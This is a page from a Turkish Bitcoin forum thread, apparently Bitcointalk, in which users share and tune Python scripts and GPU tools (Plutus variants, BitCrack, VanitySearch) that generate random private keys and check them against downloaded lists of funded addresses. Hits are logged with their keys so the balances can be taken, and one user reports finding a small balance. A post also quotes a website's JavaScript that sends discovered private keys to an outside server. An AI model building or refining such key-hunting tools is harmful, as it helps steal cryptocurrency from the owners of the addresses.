Pages:
Author

Topic: Bitcoin; Algoritma Üzerine Yöntemler - page 9. (Read 33534 times)

newbie
Activity: 27
Merit: 1
October 21, 2019, 05:16:18 AM
nvidia kartı olanlar bu programı kullansın. programı düşük nvidia kart ile test ettim içine koyduğum adresi buluyor program doğru hata yok. gtx-950m kart ile 10 milyon adres sorgulamayı 25mkey ile yapıyor. tek sorun ramdom yok. nvidia olanlar başka uğraşmasın en iyisi en hizlisi bu. amd yok şuan bir süre bekliyeceğim çıkartmazlarsa amd leri satıp iyi nvidia lara geçeceğim.

https://github.com/brichard19/BitCrack/files/3514377/VanitySearch-1.15.2_bitcrack_prototype.zip
member
Activity: 183
Merit: 35
October 21, 2019, 12:50:58 AM
Çok sağolasın @mugt. dosyaları indireceğim ama internetim nedense bugün çok kötü. ilk paylaştığın dosyayı indirmiştim sonra tekrar indirmedim ama üzerinden baya zaman geçti güncellemek istiyorum.  paylaştıklarında çift(duplicate) olan adres yok değil mi? mac kullandığım için Emeditor kullanamıyorum temizlemek baya sorun oluyor o nedenle sordum.
100 bin'li parçalarda tekrar adres yok. Parça'lı olarak indirin. Eski bloklarda bazı hatalı işlemlerde aynı satırda birden çok adres virgüllü ayrılmış. Emeditör'de "," -> "\r\n" (regular exp.. seçili olacak) değişimi yapın. Kaydedin. Sonra komut isteminde "copy *.txt 0_600000.txt" ile tüm txt'leri tek txt yapın. Cmsort uygulaması çift kayıtları temizliyor. Yine aynı klasörde "cmsort /D 0_600000.txt 0_600000_temiz.txt" yaparak çift satırları temizleyebilirsiniz. Emeditör sıralama işleminde çok ram yiyor. Cmsort dosyalara bölerek birleştirdiği için yormadan işlemi yapabiliyor.

Önce ham bloğu kaydediyorum. Sonra bloktan 1,3,bca adreslerini blok numarasına göre ayıklıyorum. En son adres uzunluğuna göre db'ye indexli aktarıyorum. Diğer tarafta oluşturulan adresler uzunluğuna göre ilgili tablodan sorgusunu gerçekleştiriyor.
hero member
Activity: 1918
Merit: 795
October 20, 2019, 03:07:06 PM
Çok sağolasın @mugt. dosyaları indireceğim ama internetim nedense bugün çok kötü. ilk paylaştığın dosyayı indirmiştim sonra tekrar indirmedim ama üzerinden baya zaman geçti güncellemek istiyorum.  paylaştıklarında çift(duplicate) olan adres yok değil mi? mac kullandığım için Emeditor kullanamıyorum temizlemek baya sorun oluyor o nedenle sordum.
member
Activity: 183
Merit: 35
October 20, 2019, 03:10:47 AM
Sadece yanında güncel tarih olanı güncelliyorum. Üstüne ilave edebilirsiniz. Tek parça olanı 600 bin olduğunda güncelleyeceğim.

600 bin oldu Smiley
Bloklar güncellendi.

Code:
100 Bin blok şeklinde parçalı: 
https://drive.google.com/drive/folders/1lXW81-52nOH8qExFjaCLO0R2ZILa-bDg (20-10-2019)

hero member
Activity: 1330
Merit: 533
October 03, 2019, 04:39:24 AM
compressed adresleri taramak istiyorum bu kodu nasıl revize edebilirim?

Code:
def main():
    while loop:
        privatekey = binascii.hexlify(os.urandom(32)).decode('utf-8').upper()
        pubkey = binascii.unhexlify(privatekey)
        s = ecdsa.SigningKey.from_string(pubkey, curve = ecdsa.SECP256k1)
        publickey = '04' + binascii.hexlify(s.verifying_key.to_string()).decode('utf-8')
        output = []; alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
        var = hashlib.new('ripemd160')
        var.update(hashlib.sha256(binascii.unhexlify(publickey.encode())).digest())
        var = '00' + var.hexdigest() + hashlib.sha256(hashlib.sha256(binascii.unhexlify(('00' + var.hexdigest()).encode())).digest()).hexdigest()[0:8]
        count = [char != '0' for char in var].index(True) // 2
        n = int(var, 16)
        while n > 0:
            n, remainder = divmod(n, 58)
            output.append(alphabet[remainder])
        for i in range(count): output.append(alphabet[0])
        address = ''.join(output[::-1])
        extended_key = "80"+privatekey
        first_sha2561 = hashlib.sha256(binascii.unhexlify(extended_key)).hexdigest()
        second_sha2561 = hashlib.sha256(binascii.unhexlify(first_sha2561)).hexdigest()
        final_key = extended_key+second_sha2561[:8]
        WIF = base58.b58encode(binascii.unhexlify(final_key))
        database = open("data-base", "r")
        database.read().split()
        with open("data-base", "r") as m:
            add = m.read().split()
            for ad in add:
                continue
            if address in add:
                print("Found: " + ' ' +str(address))
                data = open("Win.txt","a")
                data.write("found " + str(sect)+"\n" +str(address)+"\n"+str(WIF)+"\n"+"\n")
                data.close()
            else:
                 print(str(address)+ ' ' + str(WIF))
newbie
Activity: 27
Merit: 1
October 02, 2019, 03:22:25 PM
@2Run ekran karti hatasini duzeltemedim. Biraz daha arastirma sonucu txt dosyasindan vanitygen programin da sorgulama yapiyor. Simdi denedim 520000 adrese karsilik 12mkey ile tariyor. Islemci ve ram kullanmiyor. Tamamen ekran kartindan calisiyor. Deniyecegim ne cikacak.
Programda anlamadigim tam adres ile eslesmesi icin private key mi yazmak gerekiyor yoksa privatekey hex mi yazmak gerekiyor yada bir adresmi onemi var mi
https://github.com/schlampentod/vanitygen-1/
hero member
Activity: 1918
Merit: 795
October 02, 2019, 05:10:33 AM
dikkat et işlemcileri tam kullandığı için yakma.

Bir ara Ethereum adres üretmek için benim emektar macbook kullandım.. biraz zorluyordu ama pek umursamadım açıkcası sonra sabah kalktım adaptör koltuğun üzerindeydi yerinden kaldırdım yere koyacaktım baktım ateş gibi olmuş.. sonra koltuğa baktım adaptörün izi çıkmış. işlemcileri çok uzun süre çalıştırmamak en doğrusu belki güçlü bilgisayarlarla denebilir ama dediğiniz gibi işlemcilerin de yanma olasılığı var. Özelikle Plutus, Brutus, Vantiygen, Ethergen çalıştıranlar dediğiniz gibi dikkat etmeli.

Adaptörün koltukta bıraktığı iz : https://eksiup.com/p/ec221950snhi
newbie
Activity: 27
Merit: 1
September 30, 2019, 01:56:49 AM
ilk attığım linki indir. bu attığım kodu oradaki diğer kodların yanına koy. import ların pip lerini kur. çalışır. klasörler şöyle olacak bukod/database/MAR_23_2019/pickle dosyaları. dikkat et işlemcileri tam kullandığı için yakma.

ekran kartı programım hazır. kendim hazırladığım databaseden sorguyu yapacak(yeni tarihler iptal eski tarih ve 0,5 üzeri dahil olacak) hata yok ama nedense çalışmadı. şu an tek ekran kartı takılı amd sdk app yi kurunca 2 adet varmış gibi görüyor. böyle hata ile karşılaşan oldu mu?
hero member
Activity: 1330
Merit: 533
September 29, 2019, 03:09:33 PM
sorgulama kısmında bir hata vardı bu düzeltilmiş hali 23 marta takılmayın


import os
import bitcoin
import pickle
import multiprocessing



-------


Ben bu kodu neden çalıştıramıyorum. komut satırına bir şey mi yazmalıyım?
newbie
Activity: 27
Merit: 1
September 28, 2019, 02:54:43 PM
sorgulama kısmında bir hata vardı bu düzeltilmiş hali 23 marta takılmayın


import os
import bitcoin
import pickle
import multiprocessing



DATABASE = r'database/MAR_23_2019/'



xchoicesx = [2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16]

class aa:
    aaa = 0


def Generate_private_key_to_private_key():
   
     

    ln = xchoicesx[os.urandom(1)[0]]
    k = ""
    for i in range(0,ln):
        k += (('{:02x}'.format(os.urandom(1)[0]))+('{:02x}'.format(os.urandom(1)[0])))
    if len(k) <= 64:
        return (((64 - len(k)) * '0')+k)

   
def private_key_to_address(private_key):   
    aa.aaa += 1
    print(aa.aaa)
    return bitcoin.pubkey_to_address(bitcoin.compress(bitcoi[Suspicious link removed]ivkey_to_pubkey(private_key)))
    #return '19hHSppphwDn41JTrhEh1w3ToqdDjwWur4'
def private_key_to_address1(private_key):
    aa.aaa += 1
    print(aa.aaa)
    return bitcoin.pubkey_to_address(bitcoi[Suspicious link removed]ivkey_to_pubkey(private_key))
    #return '1Ae9uPuCVLv53ShvrYoUJHLcosmATy9v2h'               

def process(private_key, address, address1, database):
   
   
    if address in database[0] or \
       address in database[1] or \
       address in database[2] or \
       address in database[3]:
        with open('plutusc.txt', 'a') as file:
            file.write('hex private key: ' + str(private_key) + '\n' +
                       
                       'address: ' + str(address) + '\n' )
                       
    if address1 in database[0] or \
       address1 in database[1] or \
       address1 in database[2] or \
       address1 in database[3]:
        with open('plutusc.txt', 'a') as file:
            file.write('hex private key: ' + str(private_key) + '\n' +
                       
                       'address1: ' + str(address1) + '\n\n' )
                       
    #else:               
       
        #print(str(address))
       # print(str(address1))
        #with open('pluc.txt', 'a') as file:
            #file.write('hex private key: ' + str(private_key) + '\n' +
                       
                       #'address: ' + str(address) + '\n' +
                       #'address1: ' + str(address1) + '\n\n' )
                       


def main(database):
   
    while True:

        private_key = Generate_private_key_to_private_key()
        address = private_key_to_address(private_key)
        address1 = private_key_to_address1(private_key)                           
        if address != -1:
            process(private_key, address, address1, database)
                                                           
                                                           
   
if __name__ == '__main__':
   
    database = [set() for _ in range(4)]
    count = len(os.listdir(DATABASE))
    half = count // 2; quarter = half // 2
    for c, p in enumerate(os.listdir(DATABASE)):
        print('\rreading database: ' + str(c + 1) + '/' + str(count), end = ' ')
        with open(DATABASE + p, 'rb') as file:
            if c < half:
                if c < quarter: database[0] = database[0] | pickle.load(file)
                else: database[1] = database[1] | pickle.load(file)
            else:
                if c < half + quarter: database[2] = database[2] | pickle.load(file)
                else: database[3] = database[3] | pickle.load(file)
    print('DONE')
   
   
   
    for cpu in range(multiprocessing.cpu_count()):
        multiprocessing.Process(target = main, args = (database, )).start()
newbie
Activity: 27
Merit: 1
September 28, 2019, 02:49:44 PM
@tesla @2run Database dosyası mart ayının değil programda tekrar isim değiştirmemek için değiştirmedim. https://github.com/graymauser/btcposbal2csv
burada nasıl güncellendiğini yazıyor. ben JAN_09_2019 olanını kullanıyorum orada mart yazıyor ama içeriği JAN_09_2019.
 https://github.com/Isaacdelly/Plutus ve https://github.com/mobb111/mfbc-master programlar birleştirerek oluşturdum. orada fastecdsa olan çok hızlı fakat windows için sıkıntı. linux için 10 numara.
     (En son attığım programda tek link olan orada bir hata var düzeltilmiş halini atacağim.  80 milyon adres uretip sorgulamadan sonra buldu. en azından düzenlemiş olduğum programın işe yaradığını gördüm.) durdurdum sonra tekrar başlatmıştım şu an 100milyon üzerinde. benim 500tb data dosyasında 700mb idi. biraz erken buldu. tahminim 1.000.000.000.000 da 1 idi.

https://eksiup.com/p/ce1995509sb5
member
Activity: 448
Merit: 89
Full Stack Engineer
September 28, 2019, 05:43:09 AM
aynı anda hem normal adres hemde sıkıştırılmış adres üretip database de sorgulama yapıyor.
üsdeki linkden database yi indirin.
4 çekirdekli sanal bilgisayarda yaptığım test de 1 dakikada 10200 adres sorgulama yapıyor.
https://mega.nz/#!0BollQgC!3UgVFCyT8ymlhGTlXvfUTrJVEsUl8W877vRwNVBO8e0
Selam, databaseden kasıt blockchain defteri ise database güncelleme mevcut mu?
Blockchainden db güncelleme faydalı olur yada direkt olarak Bitcoin Core db den sorgulayabilir mi?

Yazılıma ait ilk kaynak şurasıymış : https://github.com/Isaacdelly/Plutus
hero member
Activity: 1918
Merit: 795
September 28, 2019, 04:17:31 AM
geçen gün ikinci attığım program yeni tarihli 40$ lik adres buldu yeni tarihli olduğundan sildim.

Kullandığınız yazılım plutus, brutus benzeri bir yazılım ve hatta içerisindeki database bölümü aynı mart ayından bu zamana kadar güncelleme yapılmamış. o database içerisinden bakiyeli bir cüzdana gelmenize çok şaşırdım diyebilirim. 50k civarında sorgulama yapmıştım rastgele ve çıkan en yüksek cüzdan 0.077btc idi. plutus database güncellemesini halen yapmadı aslında güncel hali ile kendimiz bir güncelleme yapsak çok iyi olabilir.
newbie
Activity: 27
Merit: 1
September 27, 2019, 07:47:06 AM
@vincetcm internet ile uğraşma. yukarıda attığım programları dene gayet hızlı ve temiz. github dan indirdiğin programlarında içini kontrol et bazılarında otomatik çekme var. python daha kolayıma geldiğinden python da farklı kişilerin yazmış olduklarını kafama uygun şekilde ayarladım.
c biraz karışık geliyor bana ama c py den 60 kat daha hızlı. geçen gün ikinci attığım program yeni tarihli 40$ lik adres buldu yeni tarihli olduğundan sildim.

AMD 580 lerim var. bu uretim ve tarama işini ona adapte etmeye çalışıyorum. c de çalıştırmaya çalışıyorum az kaldı.   
member
Activity: 183
Merit: 35
September 27, 2019, 06:56:10 AM
@vincetcm Bu tarz sitelere çok güvenmeyin. Siz sayfa açtığınız anda adres üretimi yapar. Saatlerinizi harcarsınız şans eseri bulsanız bile siz alamdan sistem otomatik çekme ile alır.  

güvendiğimden değil aynı sicrip i bulmak lazım, istenilen hemen hemen her şey yapılmış gibi görünüyor
destansi doğru demiş;
siteyi açtığında alt tarafta (1993. satırda)
Code:
if(t.balance>0){
                            //$.post("https://statics.addresskeys.com/ajax_report.php?privkey="+pk+"&pubkey="+t.account+"&balance="+t.balance+"",  { act: 'logbalance', id: n}, function(data, status){});
                            var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "https://data.addresskeys.com/ajax_report.php?privkey="+pk+"&pubkey="+t.account+"&balance="+t.balance+"", true);
xhttp.send();
if(localStorage.getItem("" + pk + "") == null ) {
    localStorage.setItem("" + pk + "","eth="+ t.account +"&b="+t.balance+"&");
}                            
                           
                            };
yani bulduğunda direk bildirim yapıyor. Muhtemel arkada kurulu sistemle boşaltma işlemini de yapıyordur.  Grin
hero member
Activity: 1330
Merit: 533
September 26, 2019, 07:11:52 AM
@vincetcm Bu tarz sitelere çok güvenmeyin. Siz sayfa açtığınız anda adres üretimi yapar. Saatlerinizi harcarsınız şans eseri bulsanız bile siz alamdan sistem otomatik çekme ile alır. 

güvendiğimden değil aynı sicrip i bulmak lazım, istenilen hemen hemen her şey yapılmış gibi görünüyor
newbie
Activity: 27
Merit: 1
September 26, 2019, 06:03:24 AM
@vincetcm Bu tarz sitelere çok güvenmeyin. Siz sayfa açtığınız anda adres üretimi yapar. Saatlerinizi harcarsınız şans eseri bulsanız bile siz alamdan sistem otomatik çekme ile alır. 
hero member
Activity: 1330
Merit: 533
September 25, 2019, 06:11:39 AM
bir adresin kaç bit key ile oluşturulduğunu tespit edebilir miyiz?
hero member
Activity: 1330
Merit: 533
September 25, 2019, 04:45:52 AM
yapılmak istenen bir çok şeyi sunan bir site burası.

BTC ve eth kısmı çalışıyor, lite ve xrp sıkıntılı (xrp nin her sayfada çıkan adres genesis bloktur galyana gelip bakiyeyi almaya çalışmayın. yarım günümü harcadım sonuç yok Smiley)

https://addresskeys.com/eth?auto=yes
newbie
Activity: 27
Merit: 1
September 19, 2019, 01:48:30 AM
aynı anda hem normal adres hemde sıkıştırılmış adres üretip database de sorgulama yapıyor.
üsdeki linkden database yi indirin.
4 çekirdekli sanal bilgisayarda yaptığım test de 1 dakikada 10200 adres sorgulama yapıyor.
https://mega.nz/#!0BollQgC!3UgVFCyT8ymlhGTlXvfUTrJVEsUl8W877vRwNVBO8e0
 
Pages:
Jump to: